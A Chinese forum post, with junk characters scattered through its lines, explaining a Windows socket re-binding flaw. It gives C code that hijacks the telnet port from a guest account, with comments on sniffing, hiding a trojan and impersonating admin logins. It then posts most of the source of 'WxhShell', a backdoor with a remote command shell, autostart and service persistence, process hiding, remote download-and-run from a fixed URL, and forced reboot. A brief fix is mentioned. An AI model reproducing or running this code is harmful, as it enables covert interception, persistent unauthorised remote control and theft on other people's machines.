社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18040阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s]T""-He  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <H1 `  
_rV5E  
  saddr.sin_family = AF_INET; ~U(,TjJb  
)15Z#`x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ri`R<l8  
^_5L"F]sP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); QB:i/9  
8Y0"Cejq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FJ*i\Q/D  
4L-:*b_v\  
  这意味着什么?意味着可以进行如下的攻击: I/VxZ8T  
Uie?9&3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n .!Ym X4  
/vY_Y3k#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a9n^WOJ6  
4`Q3v4fOF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 O\K_q7iO6  
KbL V' %D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )!g{Sbl  
@)kO=E d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mcz+ P |  
pA{ 5V9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WwC 5!kZ  
rC:?l(8ng3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7iHK_\tn  
J--m[X  
  #include @i^~0A#q*  
  #include QKN<+,h!z>  
  #include mzQ`N}]T:  
  #include    ]zO/A4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U yw-2]!n  
  int main() Xh J,"=E+  
  { ZKg{0DY  
  WORD wVersionRequested; f84:hXo6  
  DWORD ret; ;"O&X<BX-  
  WSADATA wsaData;  )>D+x5o]  
  BOOL val; Q]rD}Ckv-  
  SOCKADDR_IN saddr; yq+!czlZ  
  SOCKADDR_IN scaddr; J5h+s-'  
  int err; GDYFU* 0  
  SOCKET s; Y(\T- bI  
  SOCKET sc; 2F%W8Y 3  
  int caddsize; ;q0uE:^ S  
  HANDLE mt; Mv c`)_Md  
  DWORD tid;   6#j$GH *  
  wVersionRequested = MAKEWORD( 2, 2 ); 6t/`:OZC:  
  err = WSAStartup( wVersionRequested, &wsaData ); AxxJk"v'y  
  if ( err != 0 ) { )2,eFNB#n  
  printf("error!WSAStartup failed!\n"); o ]IjK  
  return -1; <p;k)S2J  
  } lTU$0CG  
  saddr.sin_family = AF_INET; SWp1|.=Sm  
   y~IuPc  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jGrN\D?h  
~}K5#<   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l!#m&'16"  
  saddr.sin_port = htons(23); aA-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *&Z7m^`FQ  
  { DO7W}WU  
  printf("error!socket failed!\n"); $D31Q[p=+  
  return -1; T32BnmB{  
  } `nUO l  
  val = TRUE; T5Dw0Y6u,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3:%QB9qc]'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !ZDzEP*  
  { +.y .Mp  
  printf("error!setsockopt failed!\n"); Kb =@ =Xta  
  return -1; %p&k5:4<"#  
  } `Q+moX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E,n}HiAz7V  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :b[`  v  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y/V%&.$o=  
R(j1n,c]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;Ut+yuy  
  { 4'KOp&#l K  
  ret=GetLastError(); Y2o6kS{x  
  printf("error!bind failed!\n"); W)(^m},*8D  
  return -1; J8y0d1SG  
  } &h*S y  
  listen(s,2); k%[3Q>5iM  
  while(1) (wc03,K^  
  { E&yD8=vw  
  caddsize = sizeof(scaddr); PL{Q!QJK'  
  //接受连接请求 d2X[(3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4`#F^2r!  
  if(sc!=INVALID_SOCKET) EL3|u64GO  
  { IPuA#C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?Z\Yu'  
  if(mt==NULL) {%w!@-  
  { E^w:KC2@  
  printf("Thread Creat Failed!\n"); }0,>2TTDN  
  break; 1exl0]-  
  } 4Ij-Ilg)%  
  } {f9{8-W <u  
  CloseHandle(mt); zb6ju]2  
  } Ba\6?K  
  closesocket(s); ThW,Y" l  
  WSACleanup(); wV?,Z!\Z  
  return 0; p}Fs'l?7Rq  
  }   qDWsvx]  
  DWORD WINAPI ClientThread(LPVOID lpParam) wwKh CmH  
  { w",? Bef  
  SOCKET ss = (SOCKET)lpParam; AvR2_  
  SOCKET sc; DN4#H`  
  unsigned char buf[4096]; fIoIW&iy  
  SOCKADDR_IN saddr; 4 !`bZ`_Bw  
  long num; W{XkV Ke1a  
  DWORD val; V+?]S  
  DWORD ret; 3#wcKv%>&_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]j>i.5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ashcvn~z  
  saddr.sin_family = AF_INET; 9ykM3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z?i /r5F  
  saddr.sin_port = htons(23); _9:@Vl]Q@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l2b{u GE  
  { t?;T3k[RM  
  printf("error!socket failed!\n"); %u?HF4S'  
  return -1; jc_\'Gr+[  
  } 8:ggECD  
  val = 100; "rXOsX\;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b M;`s5d  
  { >KG E-Yzj  
  ret = GetLastError(); n)8Yj/5  
  return -1; s(ROgCO  
  } NTs;FX~g[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _BnTv$.P  
  { (.K\Jg'Y6j  
  ret = GetLastError(); B%<e FFV\  
  return -1; BpAB5=M0  
  } bC@k>yC-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hJ%1   
  { ~>ME'D~  
  printf("error!socket connect failed!\n"); f<[jwhCWV  
  closesocket(sc); h~HB0^|  
  closesocket(ss); t[.W$1=  
  return -1; 'TN)Lb*  
  } 1`r| op},  
  while(1) E|Bd>G  
  { _|c&@M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y93k_iq$S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l_FGZ!7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7r{qJ7$%  
  num = recv(ss,buf,4096,0); sB}]yw  
  if(num>0) lhn8^hOJ/  
  send(sc,buf,num,0); <SXZx9A!  
  else if(num==0) -$Y8!54  
  break; ;cP8?U  
  num = recv(sc,buf,4096,0); &TN2 HZ-bJ  
  if(num>0) f|0lj   
  send(ss,buf,num,0); K\=8eg93Z  
  else if(num==0) pV`$7^#X  
  break; \4~AI=aw,T  
  } Hw_o w?  
  closesocket(ss); #0 y <a:}R  
  closesocket(sc); :=g.o;(/N  
  return 0 ; )y50Mb0+  
  } !c8L[/L  
T`L}[?w  
744=3v  
========================================================== U^#?&u  
8Pmwzpk02  
下边附上一个代码,,WXhSHELL FUTn  
)q+4k m6  
========================================================== R8sck)k'}  
l:e9y$_)  
#include "stdafx.h" }5S2p@W)  
T&}Ye\%  
#include <stdio.h> ?z.Isvn  
#include <string.h> ;w6s<a@Zh  
#include <windows.h> $ad&#q7  
#include <winsock2.h> X\A]"su  
#include <winsvc.h> 3z,2utH  
#include <urlmon.h> G.jQX'%4QG  
o<\6Rm  
#pragma comment (lib, "Ws2_32.lib") `7B14:\A  
#pragma comment (lib, "urlmon.lib") H1UL.g%d=  
FLbZ9pX}  
#define MAX_USER   100 // 最大客户端连接数 m#ad6 \  
#define BUF_SOCK   200 // sock buffer S:97B\ u`  
#define KEY_BUFF   255 // 输入 buffer -uR{X G. D  
75Fp[Q-  
#define REBOOT     0   // 重启 @ R'E?|  
#define SHUTDOWN   1   // 关机 2]Fu 1  
>\\5"S f  
#define DEF_PORT   5000 // 监听端口 gH H&IzHF  
j;0ih_Z@4W  
#define REG_LEN     16   // 注册表键长度 kgc.8  
#define SVC_LEN     80   // NT服务名长度 aJQXJ,>Lv  
m+$/DD^-zl  
// 从dll定义API [f(uqLdeM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "o==4?*L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^Ezcy?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <j"O%y.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nOuN|q=C  
TQ~&Y)".  
// wxhshell配置信息 ORtg>az\%  
struct WSCFG { /C7svH  
  int ws_port;         // 监听端口 +9~ZA3DiP  
  char ws_passstr[REG_LEN]; // 口令  uE"2kn  
  int ws_autoins;       // 安装标记, 1=yes 0=no C zpsqTQ  
  char ws_regname[REG_LEN]; // 注册表键名 ,*w>z  
  char ws_svcname[REG_LEN]; // 服务名 ,E]|\_]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Si[eAAd' :  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [wIKK/O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lYdQB[l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rJp?d9B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *|CLO|B)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q|/!0MU"  
ndB@J*Imu  
}; & ]%\.m  
M3PVixli3  
// default Wxhshell configuration iUpSN0XkMM  
struct WSCFG wscfg={DEF_PORT, mR6E]TuM  
    "xuhuanlingzhe", 2}>go^#O/w  
    1, d)9PEtI  
    "Wxhshell", ew/KZE  
    "Wxhshell", MsSoX9A{D  
            "WxhShell Service", q>c+bo 6  
    "Wrsky Windows CmdShell Service", JH-nvv  
    "Please Input Your Password: ", P)4x   
  1, Z!k5"\{0pE  
  "http://www.wrsky.com/wxhshell.exe", !__D}k,  
  "Wxhshell.exe" 0yKwH\S  
    }; H2s*s[T -  
\(wn@/yP'  
// 消息定义模块 7-(>"75Q|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %oMWcgsdJi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pEJ#ad  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fWqv3nY^  
char *msg_ws_ext="\n\rExit."; ,WzG.3^m  
char *msg_ws_end="\n\rQuit."; )|MIWgfWN  
char *msg_ws_boot="\n\rReboot..."; ipgN<|`?@  
char *msg_ws_poff="\n\rShutdown..."; G!-7ic_4  
char *msg_ws_down="\n\rSave to "; sf<Q#ieTxY  
_95- -\  
char *msg_ws_err="\n\rErr!"; HIQ]"Hl  
char *msg_ws_ok="\n\rOK!"; \=$EmHF  
t@l(xnsV  
char ExeFile[MAX_PATH]; QZ6[*_Z6  
int nUser = 0; pE~9o 9  
HANDLE handles[MAX_USER]; BYkVg2D(  
int OsIsNt; wE-Ji<1HJ  
M9g~lKs'  
SERVICE_STATUS       serviceStatus; |Gf1^8:C9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "``W6W-(  
&Bj,.dD/a  
// 函数声明 LuQ"E4;nY%  
int Install(void); Tz+HIUIxF  
int Uninstall(void); |) x'  
int DownloadFile(char *sURL, SOCKET wsh); Kx(76_XD  
int Boot(int flag); /&S~+~]n  
void HideProc(void); x&Q+|b%  
int GetOsVer(void); -lJx%9>  
int Wxhshell(SOCKET wsl); 8@9hU`H8l  
void TalkWithClient(void *cs); Y&K<{ KA\4  
int CmdShell(SOCKET sock); (M+,wW[6  
int StartFromService(void); Td["l!-fe  
int StartWxhshell(LPSTR lpCmdLine); *qeic e%E  
f}Ne8]U/Hc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RT8_@8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0})7of  
_mIa8K;  
// 数据结构和表定义 + cV5h  
SERVICE_TABLE_ENTRY DispatchTable[] = N'lGA;}i  
{ :,xyVb+  
{wscfg.ws_svcname, NTServiceMain}, Z`SWZ<  
{NULL, NULL} X~IRpzC  
}; IS5.i95m  
Cg]3(3   
// 自我安装 $ uz1  
int Install(void) oP43NN~  
{ Z>>gXh<e[  
  char svExeFile[MAX_PATH]; r?Zy-yQ  
  HKEY key; Allt]P>  
  strcpy(svExeFile,ExeFile); ]noP  
hB2s$QS  
// 如果是win9x系统,修改注册表设为自启动 Q5`+eQ?_\  
if(!OsIsNt) { a`[?,W:q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 36x5q 1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a6 #{2q  
  RegCloseKey(key); {LMS~nx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +[ZMrTW!0C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )$lSG}WD  
  RegCloseKey(key); _4XoUE\\  
  return 0; /q*Qx )y+1  
    } *1ID`o  
  } BW;=i.  
} ;*j6d3E  
else { @2%VU#!m  
Vx\# +)4  
// 如果是NT以上系统,安装为系统服务 YQB]t=Ha  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x]%4M\T``  
if (schSCManager!=0) *'`3]!A  
{ $&n240(  
  SC_HANDLE schService = CreateService 5wE !_ng>|  
  ( a?U%l9F  
  schSCManager, om*tdG  
  wscfg.ws_svcname, 2o s6c te  
  wscfg.ws_svcdisp, k?|zIu  
  SERVICE_ALL_ACCESS, Z|cTzunp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yoA*\V  
  SERVICE_AUTO_START, 4?*"7t3  
  SERVICE_ERROR_NORMAL, ( F"& A?  
  svExeFile, I%zo>s6  
  NULL, [pC-{~  
  NULL, %unK8z  
  NULL, t+4%,n f_1  
  NULL, %;B(_ht<-w  
  NULL /O(;~1B  
  ); qS/71Kv'  
  if (schService!=0) <+i`W7  
  { 3/SqXu  
  CloseServiceHandle(schService); 7PQj7&m  
  CloseServiceHandle(schSCManager); zm)CfEF 8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !i"9f_  
  strcat(svExeFile,wscfg.ws_svcname); m?R+Z6c[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HNHhMi`w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MS*Mem,  
  RegCloseKey(key); ^x1D]+  
  return 0; <4A(Z$ZX)  
    } Zkb,v!l  
  } /wCxf5q0  
  CloseServiceHandle(schSCManager); ?H7p6m u  
} ?;.+A4  
} dE9aE#o  
{*=5qV}  
return 1; "d^lS@~  
} 0?4^.N n3  
I}Gl*@K&O  
// 自我卸载 ~pBxFA  
int Uninstall(void) dU04/]modD  
{ xzf)_ <  
  HKEY key; 9787uj]Y}H  
()IgSj?,  
if(!OsIsNt) { []fj~hj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PQ!?gj  
  RegDeleteValue(key,wscfg.ws_regname); BxN#Nk~  
  RegCloseKey(key); ABYW1K=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c.me1fGn  
  RegDeleteValue(key,wscfg.ws_regname); !\|@{UJk/  
  RegCloseKey(key); @Oc}\Rg  
  return 0; 6I.+c  
  } '~6CGqU*  
} 0PX@E-n  
} 1ZH8/1gWI  
else { x:wq"X  
?B31 t9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YwTtI ID%  
if (schSCManager!=0) $HnD|_*  
{ lV*&^Q8.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9mtC"M<   
  if (schService!=0) Q^5 t]HKn  
  { Y?SJQhN6W  
  if(DeleteService(schService)!=0) { oTa+E'q  
  CloseServiceHandle(schService); ` ];[T=  
  CloseServiceHandle(schSCManager); K>p:?w  
  return 0; Uc;IPS  
  } |P?B AWYeQ  
  CloseServiceHandle(schService); -`<N,  
  } X/D9%[{&  
  CloseServiceHandle(schSCManager); Dg4^ C  
} nLLHggNAV  
} ?=o]Wx0(9  
,3TD $2};.  
return 1; j3'/jk]\  
} B'~i Z65  
^\t">NJ^  
// 从指定url下载文件 .3SjkC4I  
int DownloadFile(char *sURL, SOCKET wsh) ) W7H{#  
{ ;7{wa]  
  HRESULT hr; F,$$N>  
char seps[]= "/"; !Dn1 pjxc  
char *token; IZ ha* 7  
char *file; t-{OP?cE1  
char myURL[MAX_PATH]; S^_yiV S  
char myFILE[MAX_PATH]; fC:\Gh5  
]o[HH_`s@  
strcpy(myURL,sURL); E)SOcM)  
  token=strtok(myURL,seps); H zK=UcD  
  while(token!=NULL) \}(-9dr  
  { ol>=tk 8}  
    file=token; `l@t3/  
  token=strtok(NULL,seps); o[*ih\d  
  } D#(Pg  
PU\q.y0R  
GetCurrentDirectory(MAX_PATH,myFILE); 438> )=  
strcat(myFILE, "\\"); dNmX<WXG  
strcat(myFILE, file); J8[Xl.  
  send(wsh,myFILE,strlen(myFILE),0); 0a;zT O/"v  
send(wsh,"...",3,0); :~(^b;yhZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G4]``  
  if(hr==S_OK) F= lj$?4{  
return 0; *Fs^T^ ?r  
else <AXYqH7%A  
return 1; .h } D%Qa  
iTyApLV  
} p#I1l2nE  
L 3Iz]D3s  
// 系统电源模块 3<SC`6'?  
int Boot(int flag) :"^$7  
{ Yf9L~K  
  HANDLE hToken; +{*&I DW  
  TOKEN_PRIVILEGES tkp; au v\fR :  
O`| ri5d  
  if(OsIsNt) { g==^ioS}*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 43fA;Uc{Y`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [\p0eUog/  
    tkp.PrivilegeCount = 1; ld6@&34  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Melc -[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7u(i4O& k  
if(flag==REBOOT) { O*7~t17  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XsCbA8Qv  
  return 0; sa ?;D  
} f# + h_1#  
else { cke[SUH,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4]R3*F  
  return 0; =+WFx3/  
} ]vrs?  
  } D.} b<kDD  
  else {  Q.yoxq  
if(flag==REBOOT) { '` "&RuB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }mK_d9dx  
  return 0; o%iTYR :x  
} pcG q  
else { #Ba'k6b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [%y D,8  
  return 0; 3{=4q  
} vC1 `m  
} 3i1>EjML  
D1a4+AyI  
return 1; aDESO5  
} MaM7u:kD#  
FE.:h'^h  
// win9x进程隐藏模块 :#vrNg(M  
void HideProc(void) W:G*t4i  
{ c"r( l~fc  
mvxvX!t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y`v&YcX;  
  if ( hKernel != NULL ) 3yDvr*8-@  
  { q.4DwY5 L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QQJ cvaQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9,IGZ55C  
    FreeLibrary(hKernel); 1?;s!6=  
  } P=.W.oS  
(Y86q\DQ?|  
return; FK>r c3 q  
} \BA_PyS?W+  
SrxX-Hir  
// 获取操作系统版本 [&$z[/4:8c  
int GetOsVer(void) xYbF76B  
{ c8'?Dd  
  OSVERSIONINFO winfo; 0X;Dr-3<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 98l#+4 +  
  GetVersionEx(&winfo); G7u85cie  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6xwC1V?:0t  
  return 1; +-ue={ '  
  else Mppb34y  
  return 0; 0>vm&W<?)  
} / wEr>[8S  
fE >FT9c  
// 客户端句柄模块 x~ I cSt  
int Wxhshell(SOCKET wsl) NGNn_1  
{ ]0o78(/w2  
  SOCKET wsh; =6>mlI>i  
  struct sockaddr_in client; NoI=t  
  DWORD myID; Bi]%bl>%  
>%{h_5  
  while(nUser<MAX_USER) 6d,"GT  
{ <I7UyCAF  
  int nSize=sizeof(client); zk?lNs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %"o4IYV#  
  if(wsh==INVALID_SOCKET) return 1; F4*f_lP  
*}FoeDe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p[cC%3  
if(handles[nUser]==0) p0b&CrALx  
  closesocket(wsh); tP`,Egf"g  
else 4o'0lz]  
  nUser++; % 30&6"  
  } CpA=DnZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j5AW}   
T2k5\r8  
  return 0; )x]/b=m  
} iidK}<o  
]ko>vQ4]3  
// 关闭 socket =5+:<e,&  
void CloseIt(SOCKET wsh) TJ#<wIiX  
{ 5<9}{X+@o  
closesocket(wsh); u)%J5TR.Y  
nUser--; (g5T2(_6L  
ExitThread(0); [<6ez;2q'  
} +YXyfTa  
eP6>a7gc  
// 客户端请求句柄 ktnsq&qNL  
void TalkWithClient(void *cs) s %/3X\_  
{ s+,JwV?b  
iielAj*b  
  SOCKET wsh=(SOCKET)cs; sOv:/'  
  char pwd[SVC_LEN]; e_7a9:2e  
  char cmd[KEY_BUFF]; @r=O~x  
char chr[1]; ?z p$Wz;k  
int i,j; u`7\o~$  
k]w;(<  
  while (nUser < MAX_USER) { Lk4gjs,V  
kowBB0  
if(wscfg.ws_passstr) { WUZusW5s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]v$VZ '  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QrDI$p7;'  
  //ZeroMemory(pwd,KEY_BUFF); IOomBy:  
      i=0; ZE#A?5lb  
  while(i<SVC_LEN) { 0"LJ{:plz  
/U+0T>(HS  
  // 设置超时 _I+QInD;)  
  fd_set FdRead; \'x. DVp  
  struct timeval TimeOut; LS <\%A}  
  FD_ZERO(&FdRead); ?31#:Mg6g+  
  FD_SET(wsh,&FdRead); a/ ^ojn  
  TimeOut.tv_sec=8; <BEM`2B  
  TimeOut.tv_usec=0; c7Jfo x V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z0 @P1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "MOM@4\  
c<fl6o)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }Ox5,S}ra  
  pwd=chr[0]; gLy1*k4  
  if(chr[0]==0xd || chr[0]==0xa) { hR(\%p  
  pwd=0; y<|8OTT  
  break; {Dupk0'(  
  } %=e^MN1  
  i++; 6 b-'Hui+  
    } 9(eTCe-~6  
8Mg wXH  
  // 如果是非法用户,关闭 socket ~+ [T{{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V(wm?Cc]  
} bS7%%8C  
1)Z4 (_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NAgm?d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E&G]R!  
q|h#J}\  
while(1) { `cgyiJ  
\ ]v>#VXr_  
  ZeroMemory(cmd,KEY_BUFF); rJtpTV@.  
ZW>iq M^9  
      // 自动支持客户端 telnet标准   ZB+~0[C  
  j=0; JIL(\d  
  while(j<KEY_BUFF) { GBSuTu8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wjy<{I  
  cmd[j]=chr[0]; nOTe 3?i>  
  if(chr[0]==0xa || chr[0]==0xd) { 0(qtn9;=2  
  cmd[j]=0; 4m1@lnjp  
  break; <~z@G MQCf  
  } Ky[s& >02  
  j++; e5 N$+P"  
    } MMU>55+-  
OjWg>v\ v  
  // 下载文件 .VXadgM  
  if(strstr(cmd,"http://")) { s+0n0C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #kQ1,P6,(  
  if(DownloadFile(cmd,wsh)) ;.+C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PjE%_M<  
  else cB0"vbdO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XcFu:B  
  } l3N '@GO  
  else { j4%\'xj:  
4OOI$J$Jh  
    switch(cmd[0]) { y/Ui6D  
  g|Xjw Ti8$  
  // 帮助 p}]K0F!  
  case '?': { U_sM==~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^]k=*>{ R  
    break; TUN6`/"  
  } @HQqHO&N  
  // 安装 ]u|5ZCv0  
  case 'i': { h9Tst)iRi  
    if(Install()) yk0^m/=C(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ST1;i5   
    else O:j=L{,d^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RPw1i*  
    break; jO.c>C[?  
    } mXT{c=N)w  
  // 卸载 t=IM"ZgfL  
  case 'r': { ,a3M*}Y ~3  
    if(Uninstall()) @NYlVk2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F;ELsg  
    else 3Vk<hBw2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TBmmC}PEd  
    break; _b! TmS#F1  
    } \Icd>>)*  
  // 显示 wxhshell 所在路径 |@rYh-5  
  case 'p': { OzV|z/R2'  
    char svExeFile[MAX_PATH]; chu r(@Af  
    strcpy(svExeFile,"\n\r"); X\|h:ce  
      strcat(svExeFile,ExeFile); mW)C=X%  
        send(wsh,svExeFile,strlen(svExeFile),0); 2Uy}#n|)r  
    break; QV8;c^EZ  
    } MtG~ O;?8  
  // 重启 ,-V7~gM%}  
  case 'b': { 2NF#mWZ(s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6'|NALW  
    if(Boot(REBOOT)) 6C- !^8[f  
